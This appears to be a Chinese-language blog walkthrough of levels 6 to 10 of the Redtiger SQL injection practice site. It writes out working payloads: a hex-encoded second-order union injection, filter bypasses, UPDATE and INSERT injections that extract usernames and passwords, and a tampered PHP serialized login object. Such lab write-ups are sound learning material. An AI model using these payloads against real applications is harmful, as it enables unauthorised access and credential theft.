1. 程式人生 > >Redtiger SQL注入練習(二)

Redtiger SQL注入練習(二)

第六關:

點選 click me,構造url:user=1',返回user not found。user=1'',同樣。

猜測是數字型注入,構造order by , user=1 order by  X#,得出有5個欄位。

然後,user=0 union select 1,2,3,4,5#,說user not found。不是吧。。。。

用username試試吧,user=0 union select 1,username,3,4,5 from level6_users where status=1#

返回如圖:

接下來就需要找密碼了。用password試了5個位置,沒用。想了好長時間,沒有啥思路,只能看大佬的writeup了。(參考https://blog.spoock.com/2016/07/25/redtiger-writeup/)

知道了可能是sql二次查詢:

1
2
3
4
5
6
7
8
$sql = "select username,password from level6_users where id=1";
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' ); $row1 = mysql_fetch_row($result); #從結果中取出username欄位 $username = $row1[1]; $sql2 = "select username,email from level6_users where username="."'".$username."'";

構造payload:user=0 union select 1,admin'union select 1,2,3,password,5 from level6_users where status=1#,3,4,5#    返回 user not found,  哦,fuck。

大佬說轉換成16進位制,腦子不夠用,emmmmmm。

最終payload:user=0 union select 1,0x061646d696e3127756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5#

第七關:

提示如上,過濾了一堆東西,輸入一個 ' 試試,報錯並且返回sql語句:

 

思考後,先把括號閉合,然後經過測試,order by 被ban了,而且註釋 #  和--  也無效。

order by 可以直接用 union select猜  ,註釋 -- ,空格可以用%a0等等替換,構造

payload:')union select 1--%a0, 只能用burp抓包改值,hackbar  post提交不行,不知道為啥,搞了半天沒結果。猜測出列數為4。

結果只顯示,3和4.之後注入:')union select 1,2,autor,4 from level7_news--%a0

 

最後得到答案。

第八關:

看到4個輸入框,分別輸入一次單引號,發現只有email後可以注入,

然後沒什麼思路了,看了大佬們的操作,猜測後臺的語句為:

update table set name='[inputname]',email='[inputemail]',icq='[inputicq]',age='[inputage]' where id=1

update 語句  後邊的值會覆蓋前邊的值,比如:update table set name=1,email=2,name=2.........

此時 name最終是2。

於是我們構造:',name=password,icq='1

得到admin使用者的密碼。

第九關:

測試發現在text 初新增' 會報錯,這裡存在注入點。

猜測後臺語句為:

insert into tablename(autor,title,text) values('[inputautor]','[inputtitle]','[inputtext]')。

於是構造:

'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'456

得到使用者名稱和密碼。參考(https://blog.spoock.com/2016/07/25/redtiger-writeup/).

第十關:

這關和php序列化有關,比較懵。

看原始碼,有一串base64加密的東西,解密得到:

a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

提示只能用TheMaster登入,但是密碼不知道,序列化,可以把密碼改成布林值為1.

於是改為:a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}

base64加密後提交過關。(注意:不同的加密網站,加密出的結果不同。)